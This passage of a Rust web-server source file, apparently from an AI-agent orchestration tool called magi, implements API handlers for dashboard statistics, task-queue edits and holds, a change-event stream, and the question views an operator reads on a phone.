6331/// specific, named repository, and silently returning zeroes would look
6332/// exactly like a repository that has runs but none of interest.
6333#[derive(Debug, Default, Deserialize)]
6334#[serde(default)]
6335struct StatsQuery {
6336    repo: Option<String>,
6337    /// `?all=true` keeps agents that are no longer in the roster.
6338    all: bool,
6339    /// The dashboard fetches queue counts independently of run history.
6340    runs_only: bool,
6341}
6342
6343/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
6344/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
6345/// runs when `?repo=` narrows it), the same counting logic `magi stats`
6346/// prints from. Reads every readable run on disk, exactly as
6347/// [`runs_unreadable`] does, so the two counts can never drift apart the way
6348/// a separately-maintained tally could.
6349async fn stats_get(
6350    State(ui): State<Arc<Ui>>,
6351    Query(q): Query<StatsQuery>,
6352) -> ApiResult<Json<StatsView>> {
6353    blocking(move || {
6354        let states: Vec<RunState> = run_ids(&ui.runs)
6355            .into_iter()
6356            .filter_map(|id| read_run(&ui.runs, &id).ok())
6357            .collect();
6358        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6359            .iter()
6360            .map(RepoSummaryView::from)
6361            .collect();
6362        let mut scoped: Vec<&RunState> = states.iter().collect();
6363        let mut collected = match &q.repo {
6364            Some(repo) => {
6365                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
6366                if filtered.is_empty() {
6367                    return Err(ApiError::not_found(format!(
6368                        "no runs recorded against repo `{repo}`"
6369                    )));
6370                }
6371                scoped = filtered.clone();
6372                stats::collect_refs(filtered)
6373            }
6374            None => stats::collect(&states),
6375        };
6376        if !q.all {
6377            let repo = q
6378                .repo
6379                .as_deref()
6380                .map_or_else(|| ui.repo.clone(), PathBuf::from);
6381            stats::retain_current_roster(&mut collected, &repo);
6382        }
6383        let daily = stats::daily(
6384            scoped,
6385            jiff::Zoned::now().date(),
6386            &jiff::tz::TimeZone::system(),
6387            STATS_DAILY_DAYS,
6388        );
6389        let queue_counts = (!q.runs_only)
6390            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
6391        Ok(Json(StatsView {
6392            totals: StatsTotalsView::from(&collected.totals),
6393            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
6394            reviewers: collected
6395                .reviewers
6396                .iter()
6397                .map(ReviewerStatsView::from)
6398                .collect(),
6399            advisors: collected
6400                .advisors
6401                .iter()
6402                .map(AdvisorStatsView::from)
6403                .collect(),
6404            e2e: E2eStatsView::from(&collected.e2e),
6405            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6406            queue: queue_counts,
6407            runs_unreadable: runs_unreadable(&ui.runs),
6408            repos,
6409            daily: daily.iter().map(DailyStatsView::from).collect(),
6410            repo: q.repo.clone(),
6411            retired_hidden: collected.retired_hidden.clone(),
6412        }))
6413    })
6414    .await
6415}
6416
6417/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
6418/// gives no reason - which must keep working, since not every hold has one.
6419#[derive(Debug, Default, Deserialize)]
6420#[serde(default, deny_unknown_fields)]
6421struct HoldBody {
6422    reason: Option<String>,
6423}
6424
6425async fn queue_hold(
6426    State(ui): State<Arc<Ui>>,
6427    Path(id): Path<String>,
6428    body: std::result::Result<Json<HoldBody>, JsonRejection>,
6429) -> ApiResult<Json<TaskView>> {
6430    // An absent body is the ordinary case - most holds are unexplained, and
6431    // that has to stay a one-tap action rather than a form. A body that is
6432    // present and malformed is still a bad request.
6433    let body = match body {
6434        Ok(Json(body)) => body,
6435        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6436        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6437    };
6438    let reason = body.reason.filter(|r| !r.trim().is_empty());
6439    mutate(ui, id, move |t| {
6440        t.hold_manual(reason.clone());
6441        Ok(())
6442    })
6443    .await
6444}
6445
6446async fn queue_release(
6447    State(ui): State<Arc<Ui>>,
6448    Path(id): Path<String>,
6449) -> ApiResult<Json<TaskView>> {
6450    mutate(ui, id, |t| {
6451        t.release_operator("web", None);
6452        Ok(())
6453    })
6454    .await
6455}
6456
6457#[derive(Debug, Deserialize)]
6458#[serde(deny_unknown_fields)]
6459struct AttemptLimitBody {
6460    // Required even when clearing: missing fields must not silently erase an override.
6461    attempt_limit: serde_json::Value,
6462}
6463
6464async fn queue_attempt_limit(
6465    State(ui): State<Arc<Ui>>,
6466    Path(id): Path<String>,
6467    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6468) -> ApiResult<Json<TaskView>> {
6469    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6470    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6471        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6472    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6473}
6474
6475#[derive(Debug, Deserialize)]
6476#[serde(deny_unknown_fields)]
6477struct ImplementersBody {
6478    implementers: u8,
6479}
6480
6481async fn queue_implementers(
6482    State(ui): State<Arc<Ui>>,
6483    Path(id): Path<String>,
6484    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6485) -> ApiResult<Json<TaskView>> {
6486    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6487    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6488}
6489
6490#[derive(Debug, Deserialize)]
6491#[serde(deny_unknown_fields)]
6492struct UrgentBody {
6493    urgent: bool,
6494}
6495
6496async fn queue_urgent(
6497    State(ui): State<Arc<Ui>>,
6498    Path(id): Path<String>,
6499    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6500) -> ApiResult<Json<TaskView>> {
6501    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6502    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6503}
6504
6505/// The body of `POST /api/queue/{id}/priority`.
6506#[derive(Debug, Deserialize)]
6507#[serde(deny_unknown_fields)]
6508struct PriorityBody {
6509    priority: i32,
6510}
6511
6512/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
6513///
6514/// [`Task::set_priority`] is the one place the "not while running" rule is
6515/// stated; this route only carries the body to it and lets its `Err` become
6516/// the 4xx the card shows.
6517async fn queue_priority(
6518    State(ui): State<Arc<Ui>>,
6519    Path(id): Path<String>,
6520    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6521) -> ApiResult<Json<TaskView>> {
6522    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6523    mutate(ui, id, move |t| t.set_priority(body.priority)).await
6524}
6525
6526/// The body of `POST /api/queue/{id}/edit`.
6527#[derive(Debug, Deserialize)]
6528#[serde(deny_unknown_fields)]
6529struct EditBody {
6530    title: String,
6531    instruction: String,
6532    /// Save even though the new text names a branch, commit or pull request
6533    /// that unfinished work already owns.
6534    #[serde(default)]
6535    force: bool,
6536}
6537
6538/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
6539/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
6540/// that refusal's message is what the sheet shows back.
6541async fn queue_edit(
6542    State(ui): State<Arc<Ui>>,
6543    Path(id): Path<String>,
6544    body: std::result::Result<Json<EditBody>, JsonRejection>,
6545) -> ApiResult<Json<TaskView>> {
6546    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6547    // The judge is an agent call, so it is awaited here, outside the claim
6548    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
6549    // remembered, and the save refuses if the task moved underneath it.
6550    let mut judged: Option<(String, PathBuf)> = None;
6551    if !body.force {
6552        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6553        let (id, text) = (id.clone(), body.instruction.clone());
6554        let (seen, hits) = blocking(move || {
6555            let id = resolve_task(&queue, &id)?;
6556            let t = queue.get(&id)?;
6557            if text == t.instruction {
6558                return Ok((None, Vec::new()));
6559            }
6560            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6561            Ok((Some((t.instruction, t.repo)), hits))
6562        })
6563        .await?;
6564        if let Some((_, repo)) = &seen {
6565            let cfg = crate::config::Config::discover(repo, None)
6566                .ok()
6567                .map(|(c, _)| c);
6568            let screened =
6569                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6570                    .await
6571                    .map_err(|dup| {
6572                        ApiError::conflict(dup.render(
6573                            "Nothing was saved. If it is not a duplicate, repeat the request \
6574                             with \"force\": true.",
6575                        ))
6576                    })?;
6577            if let crate::dupes::Screened::Unjudged(why) = screened {
6578                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6579            }
6580        }
6581        judged = seen;
6582    }
6583    let force = body.force;
6584    mutate(ui, id, move |t| {
6585        if !force && body.instruction != t.instruction {
6586            match &judged {
6587                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6588                _ => {
6589                    anyhow::bail!("the task changed while it was being checked; repeat the request")
6590                }
6591            }
6592        }
6593        t.edit(body.title.clone(), body.instruction.clone())
6594    })
6595    .await
6596}
6597
6598/// `POST /api/queue/{id}/done` - close a task as finished without deleting
6599/// it, so the phone's other way to clear a task from the backlog does not
6600/// have to cost the run history, the attribution, and `created_at` the way
6601/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
6602/// can be marked done by hand, because this is for the run the loop never
6603/// saw land - a merge done by hand, or a gate that misreported - and that can
6604/// happen from any status the task was left in.
6605async fn queue_done(
6606    State(ui): State<Arc<Ui>>,
6607    Path(id): Path<String>,
6608) -> ApiResult<Json<TaskView>> {
6609    let home = ui.home.clone();
6610    mutate(ui, id, move |t| {
6611        t.succeed();
6612        // Same as the loop's own settle path: closing a task by hand is just
6613        // as much "this task's story is over" as a daemon-driven `Merged`/
6614        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
6615        // behind must stop looking like it still needs a human. `ui.home`,
6616        // not the process-global `run::home()`: they agree in a real
6617        // process, but only `ui.home` also agrees with a test fixture's own
6618        // directory.
6619        crate::daemon::supersede_prior_runs(t, &home);
6620        Ok(())
6621    })
6622    .await
6623}
6624
6625/// `DELETE /api/queue/{id}`.
6626///
6627/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
6628/// names this task: a `running` status or an orphaned `.lock` left behind by a
6629/// killed daemon is a leftover, and treating either as authority made the
6630/// task undeletable from the phone for good. The associated runs, if any, are
6631/// kept: a run is self-contained history and not an appendage of the task.
6632async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6633    blocking(move || {
6634        let id = resolve_task(&ui.queue, &id)?;
6635        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6636        ui.queue
6637            .remove(&id, in_flight, &ui.questions)
6638            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6639        Ok(StatusCode::NO_CONTENT)
6640    })
6641    .await
6642}
6643
6644/// Read a task, change it, write it back, under the queue's own lock.
6645///
6646/// Taking the same claim a daemon takes is what makes hold, release,
6647/// priority, edit, and done safe to press while magi is running: without it
6648/// the daemon's next save would land on top of the operator's change and
6649/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
6650/// both do, for a running task - and that refusal becomes the 4xx the card
6651/// shows, same as any other domain rule.
6652async fn mutate(
6653    ui: Arc<Ui>,
6654    id: String,
6655    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6656) -> ApiResult<Json<TaskView>> {
6657    blocking(move || {
6658        let id = resolve_task(&ui.queue, &id)?;
6659        // `claim` fails when the lock file already exists, which is the
6660        // conflict the UI must report: the daemon owns that task's file for
6661        // as long as it is running it, and our write would be lost under its
6662        // next save. The message names the lock either way.
6663        let _claim = ui.queue.claim(&id).map_err(|e| {
6664            ApiError::conflict(format!(
6665                "{e:#} - a daemon is running this task, so it cannot be \
6666                 changed from here yet; wait until it is released, then retry"
6667            ))
6668        })?;
6669        let mut task = ui.queue.get(&id)?;
6670        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6671            Ok(dup) => ApiError::conflict(dup.render(
6672                "Nothing was saved. If it is not a duplicate, repeat the request with \
6673                 \"force\": true.",
6674            )),
6675            Err(e) => ApiError::bad_request_from(e),
6676        })?;
6677        ui.queue.put(&mut task)?;
6678        Ok(Json(TaskView::from(task)))
6679    })
6680    .await
6681}
6682
6683/// The change stream: one revision number per store, on connect and whenever
6684/// any of them moves.
6685///
6686/// One shared worker scans stores; clients only forward its notifications.
6687async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6688    ui.monitor.ensure_worker(&ui);
6689    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
6690    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6691
6692    let state = Arc::clone(&ui);
6693    tokio::spawn(async move {
6694        let initial_revisions = {
6695            let guard = match state.monitor.latest.lock() {
6696                Ok(g) => g,
6697                Err(p) => p.into_inner(),
6698            };
6699            guard.as_ref().map(|(r, _)| *r)
6700        };
6701        if let Some(revisions) = initial_revisions {
6702            let initial_payload = serde_json::json!({
6703                "queue_rev": revisions.0,
6704                "runs_rev": revisions.1,
6705                "questions_rev": revisions.2,
6706                "talks_rev": revisions.3,
6707                "notifications_rev": revisions.4,
6708                "loop_rev": revisions.5,
6709            });
6710
6711            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
6712                if tx.send(event).await.is_err() {
6713                    return;
6714                }
6715            }
6716        }
6717
6718        loop {
6719            match tokio::select! {
6720                _ = tx.closed() => return,
6721                value = broadcast_rx.recv() => value,
6722            } {
6723                Ok(notif) => {
6724                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
6725                    else {
6726                        break;
6727                    };
6728                    if tx.send(event).await.is_err() {
6729                        break;
6730                    }
6731                }
6732                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
6733                    let revs = {
6734                        let guard = match state.monitor.latest.lock() {
6735                            Ok(g) => g,
6736                            Err(p) => p.into_inner(),
6737                        };
6738                        guard.as_ref().map(|(r, _)| *r)
6739                    };
6740                    if let Some(revs) = revs {
6741                        let payload = serde_json::json!({
6742                            "queue_rev": revs.0,
6743                            "runs_rev": revs.1,
6744                            "questions_rev": revs.2,
6745                            "talks_rev": revs.3,
6746                            "notifications_rev": revs.4,
6747                            "loop_rev": revs.5,
6748                        });
6749                        if let Ok(event) = Event::default().event("change").json_data(payload) {
6750                            if tx.send(event).await.is_err() {
6751                                break;
6752                            }
6753                        }
6754                    }
6755                }
6756                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
6757                    break;
6758                }
6759            }
6760        }
6761    });
6762
6763    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6764        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6765}
6766
6767/// Run ids under `runs`, newest first.
6768///
6769/// Rooted at an explicit directory rather than calling [`run::list_ids`],
6770/// which reads the process-global home: the server has to be drivable against
6771/// a temp directory for any of this to be testable.
6772fn run_ids(runs: &FsPath) -> Vec<String> {
6773    let mut ids: Vec<String> = std::fs::read_dir(runs)
6774        .into_iter()
6775        .flatten()
6776        .flatten()
6777        .filter(|e| e.path().join("run.json").is_file())
6778        .map(|e| e.file_name().to_string_lossy().into_owned())
6779        .collect();
6780    // Ids start with a sortable timestamp.
6781    ids.sort_unstable_by(|a, b| b.cmp(a));
6782    ids
6783}
6784
6785/// Read one run's state from an explicit runs root.
6786fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6787    let path = runs.join(id).join("run.json");
6788    let body =
6789        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6790    let state: RunState =
6791        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6792    // The same migration `RunState::load` applies, so a record from the
6793    // previous schema reads here as it does everywhere else (an origin-less
6794    // run shows as "origin unknown") instead of vanishing from the phone the
6795    // moment the schema is bumped.
6796    run::migrate_schema(state)
6797}
6798
6799/// Runs on disk under `runs` whose state this build cannot parse - almost
6800/// always a schema bump, occasionally a run killed mid-write.
6801///
6802/// Exposed so every surface that reports on runs shares one count instead of
6803/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
6804/// `magi doctor` calls this directly rather than guessing at the same number
6805/// a second way.
6806#[must_use]
6807pub fn runs_unreadable(runs: &FsPath) -> usize {
6808    run_ids(runs)
6809        .into_iter()
6810        .filter(|id| read_run(runs, id).is_err())
6811        .count()
6812}
6813
6814fn plain_record_id(id: &str) -> bool {
6815    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
6816}
6817
6818/// Expand an id or short id to exactly one run id.
6819fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6820    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
6821        return Ok(id.to_owned());
6822    }
6823    pick(run_ids(runs), id, "run")
6824}
6825
6826/// Expand an id or short id to exactly one task id.
6827fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6828    if plain_record_id(id) && queue.path_of(id).is_file() {
6829        return Ok(id.to_owned());
6830    }
6831    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
6832    pick(ids, id, "task")
6833}
6834
6835/// A question as the phone reads it.
6836///
6837/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
6838/// text already parsed into a node tree so the client never runs its own
6839/// markdown reader over agent-authored prose. A relative image path in it
6840/// resolves against this question's own panel asset route, which is the one
6841/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
6842/// separate, sandboxed document, but `detail` is rendered inline in the
6843/// operator's own page, so an image reference in it may only ever point at
6844/// files magi itself already serves for this question.
6845#[derive(Debug, Serialize)]
6846struct QuestionView {
6847    choice_effects: std::collections::BTreeMap<String, String>,
6848    record_revision: String,
6849    #[serde(flatten)]
6850    question: Question,
6851    detail_md: Vec<md::Node>,
6852    posting_view: Option<PostingView>,
6853    /// Each thread turn's body, parsed; same order as `question.thread`.
6854    thread_bodies_md: Vec<Vec<md::Node>>,
6855    /// Each thread turn's deputy note, parsed (`None` for a turn without
6856    /// one); same order as `question.thread`.
6857    thread_notes_md: Vec<Option<Vec<md::Node>>>,
6858    /// Is the ball in the agent's court right now?
6859    ///
6860    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
6861    /// [`Question::say`] - so this is the one field that tells the phone to
6862    /// disable the answer controls and show "waiting for the agent" instead of
6863    /// a card the owner can act on. Computed rather than stored on
6864    /// [`Question`] itself, on the same reasoning as `waiting` on
6865    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
6866    /// it here means the client never has to re-derive that rule.
6867    waiting_on_agent: bool,
6868    /// Who is waiting on this open question - see [`holder_of`]. Separate
6869    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
6870    /// anyone is there to take it.
6871    holder: Option<&'static str>,
6872    /// Whether `magi serve` can start a follow-up agent for a conductor
6873    /// question at all: false when `daemon.max_deputies = 0` or the config is
6874    /// unreadable. Separate from `holder`, which says who is listening now.
6875    deputies_enabled: bool,
6876    /// All starts were spent and no live holder remains. Display-only: the
6877    /// final attempt increments `starts` before running under its lease.
6878    deputy_exhausted: bool,
6879    text_delivery: crate::question_delivery::Availability,
6880    /// `question.run` is a task id (conductor / triage questions), not a run
6881    /// id, so the UI links it to the task page.
6882    run_is_task: bool,
6883    /// The existing chat this question's task came from, including settled
6884    /// questions - see [`crate::consult::associated_talk`].
6885    origin_chat: Option<String>,
6886    /// `origin_chat` is closed; consulting reopens it first.
6887    origin_chat_closed: bool,
6888    /// Consultation eligibility is separate from navigation to the chat.
6889    can_consult_chat: bool,
6890}
6891
6892#[derive(Debug, Serialize)]
6893struct PostingView {
6894    before_md: Vec<md::Node>,
6895    after_md: Vec<md::Node>,
6896    fields: Vec<crate::github_text::ComparisonView>,
6897}
6898
6899fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6900    let comparison = question.posting_comparison.as_ref()?;
6901    if !comparison.matches_detail(&question.detail) {
6902        return None;
6903    }
6904    let mut ids = std::collections::BTreeSet::new();
6905    if comparison.fields.is_empty()
6906        || comparison
6907            .fields
6908            .iter()
6909            .flat_map(|f| &f.pairs)
6910            .any(|p| !ids.insert(p.id))
6911        || comparison
6912            .fields
6913            .iter()
6914            .flat_map(|f| &f.original_triggers)
6915            .any(|t| !ids.insert(t.id))
6916    {
6917        return None;
6918    }
6919    let fields = comparison
6920        .fields
6921        .iter()
6922        .map(|f| f.view(comparison.excerpt))
6923        .collect::<Option<Vec<_>>>()?;
6924    Some(PostingView {
6925        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6926        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6927        fields,
6928    })
6929}
6930
6931impl QuestionView {
6932    /// The view of `question`, reading who is waiting on it from `store`.
6933    ///
6934    /// `holder` needs the lease sidecar, which is why this is not a `From`.
6935    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
6936        let base = md::ImageBase::QuestionPanel {
6937            id: question.id.clone(),
6938        };
6939        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6940        Self {
6941            choice_effects: question
6942                .choices
6943                .iter()
6944                .filter_map(|c| {
6945                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
6946                })
6947                .collect(),
6948            record_revision: question_record_revision(&question),
6949            detail_md: md::to_nodes(&question.detail, &base),
6950            posting_view: posting_view(&question, &base),
6951            thread_bodies_md: question
6952                .thread
6953                .iter()
6954                .map(|t| md::to_nodes(&t.body, &base))
6955                .collect(),
6956            thread_notes_md: question
6957                .thread
6958                .iter()
6959                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6960                .collect(),
6961            deputy_exhausted: store.deputy_exhausted(&question),
6962            waiting_on_agent: question.waiting_on_agent(),
6963            holder,
6964            deputies_enabled: deputies_enabled(cfg, &question),
6965            text_delivery: crate::question_delivery::availability(store, &question, cfg),
6966            run_is_task: question.run_names_task(),
6967            origin_chat: None,
6968            origin_chat_closed: false,
6969            can_consult_chat: false,
6970            question,
6971        }
6972    }
6973
6974    /// Fill `origin_chat` from the queue and the talks.
6975    fn with_origin(
6976        mut self,
6977        tasks: &[crate::queue::Task],
6978        talks: &[Talk],
6979        watches: &[crate::release_watch::WatchState],
6980    ) -> Self {
6981        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
6982        self.can_consult_chat = consult.is_some();
6983        let talk =
6984            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
6985        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6986        self.origin_chat = talk.map(|t| t.id);
6987        self
6988    }
6989}
6990
6991/// The config this repository resolves, or `None` when it cannot be read.
6992/// Discovering is git processes plus a config render, so a request that needs
6993/// it for many items takes it once and passes it down.
6994fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6995    Config::discover(repo, None).ok().map(|(c, _)| c)
6996}
6997
6998/// Can `magi serve` start a deputy for this question under `cfg`?
6999fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7000    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7001}
7002
7003/// The views `GET /api/questions` answers. `load` runs at most once, however
7004/// many questions there are, and not at all when there are none.
7005fn question_views(
7006    qs: Vec<Question>,
7007    store: &ask::Questions,
7008    load: impl FnOnce() -> Option<Config>,
7009) -> Vec<QuestionView> {
7010    if qs.is_empty() {
7011        return Vec::new();
7012    }
7013    let cfg = load();
7014    qs.into_iter()
7015        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7016        .collect()
7017}
7018
7019/// Who is honestly waiting on an open question right now: `"asker"` (the
7020/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7021/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7022/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7023/// up, or the question never had anyone listening (a conductor question or a
7024/// merge approval from before deputies, or not yet given one).
7025///
7026/// `None` for a question that is settled, and for one that is not an agent's
7027/// to wait on at all (a release notice).
7028fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7029    if !q.status.open() {
7030        return None;
7031    }
7032    if q.cwd.is_none()
7033        && q.deputy.is_none()
7034        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7035    {
7036        return crate::deputy::kind_of(q).map(|_| "nobody");
7037    }
7038    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7039        Some(_) if q.deputy.is_some() => "deputy",
7040        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7041        Some(_) => "asker",
7042        None => "nobody",
7043    })
7044}
7045
7046/// `GET /api/questions`.
7047///
7048/// Everything, not just the open ones: an answered question is the record of a
7049/// decision, and the phone is where the operator goes back to check what they
7050/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7051async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7052    blocking(move || {
7053        let questions = ui.questions.list();
7054        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7055        Ok(Json(
7056            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7057                .into_iter()
7058                .map(|view| view.with_origin(&tasks, &talks, &watches))
7059                .collect(),
7060        ))
7061    })
7062    .await
7063}
7064
7065/// Question content and answer controls never wait for task/chat provenance.
7066async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7067    blocking(move || {
7068        Ok(Json(question_views(
7069            ui.questions.list(),
7070            &ui.questions,
7071            || deputy_config(&ui.repo),
7072        )))
7073    })
7074    .await
7075}
7076
7077fn question_record_revision(question: &Question) -> String {
7078    use std::hash::{Hash as _, Hasher as _};
7079    let mut hash = std::hash::DefaultHasher::new();
7080    serde_json::to_vec(question)
7081        .expect("serializable question")
7082        .hash(&mut hash);
7083    format!("{:016x}", hash.finish())
7084}
7085
7086#[derive(Serialize)]
7087struct QuestionOriginView {
7088    id: String,
7089    record_revision: String,
7090    origin_chat: Option<String>,
7091    origin_chat_closed: bool,
7092    can_consult_chat: bool,
7093}
7094
7095async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7096    blocking(move || {
7097        let questions = ui.questions.list();
7098        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7099        Ok(Json(
7100            questions
7101                .into_iter()
7102                .map(|question| {
7103                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7104                    let can_consult_chat = consult.is_some();
7105                    let talk = crate::consult::associated_talk_with_watches(
7106                        &tasks, &talks, &question, &watches,
7107                    );
7108                    QuestionOriginView {
7109                        record_revision: question_record_revision(&question),
7110                        id: question.id,
7111                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7112                        origin_chat: talk.map(|talk| talk.id),
7113                        can_consult_chat,
7114                    }
7115                })
7116                .collect(),
7117        ))
7118    })
7119    .await
7120}
7121
7122type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7123
7124/// Only the task ancestry and chats these questions actually reference. Run
7125/// mappings share the reconciled queue index; exact task references bypass it.
7126/// No question means no task/chat I/O, including no index reconciliation.
7127fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7128    fn task_for_run(
7129        ui: &Ui,
7130        index: &mut Option<Vec<Arc<TaskRelation>>>,
7131        run: &str,
7132        loaded: &HashMap<String, Task>,
7133    ) -> ApiResult<Option<Task>> {
7134        if !plain_record_id(run) {
7135            return Ok(None);
7136        }
7137        if index.is_none() {
7138            *index = Some(ui.indexed_tasks()?);
7139        }
7140        Ok(index
7141            .as_ref()
7142            .expect("loaded index")
7143            .iter()
7144            .find(|task| task.runs.iter().any(|id| id == run))
7145            .and_then(|task| {
7146                loaded
7147                    .get(&task.id)
7148                    .cloned()
7149                    .or_else(|| ui.queue.get(&task.id).ok())
7150            })
7151            .filter(|task| task.runs.iter().any(|id| id == run)))
7152    }
7153    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7154        plain_record_id(id)
7155            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7156            .flatten()
7157            .filter(|task| task.id == id)
7158    };
7159    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7160    let mut index = None;
7161    let mut tasks = HashMap::new();
7162    let mut talks = HashMap::new();
7163    for question in questions {
7164        for reference in crate::consult::question_task_refs(question, &watches) {
7165            let mut current = match reference {
7166                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7167                crate::consult::QuestionTaskRef::Run(id) => {
7168                    task_for_run(ui, &mut index, id, &tasks)?
7169                }
7170            };
7171            let mut seen = HashSet::new();
7172            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7173                let Some(task) = current.take() else {
7174                    break;
7175                };
7176                if !seen.insert(task.id.clone()) {
7177                    break;
7178                }
7179                let chat = task.chat_talk().map(str::to_owned);
7180                let followup = task.followup.clone();
7181                tasks.insert(task.id.clone(), task);
7182                if let Some(chat) = chat {
7183                    if plain_record_id(&chat)
7184                        && !talks.contains_key(&chat)
7185                        && let Ok(talk) = ui.talks.get(&chat)
7186                    {
7187                        talks.insert(chat, talk);
7188                    }
7189                    break;
7190                }
7191                let Some(followup) = followup else {
7192                    break;
7193                };
7194                current = match followup.origin_task {
7195                    Some(id) => direct_task(&id, &tasks),
7196                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7197                };
7198            }
7199        }
7200    }
7201    let mut tasks: Vec<Task> = tasks.into_values().collect();
7202    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
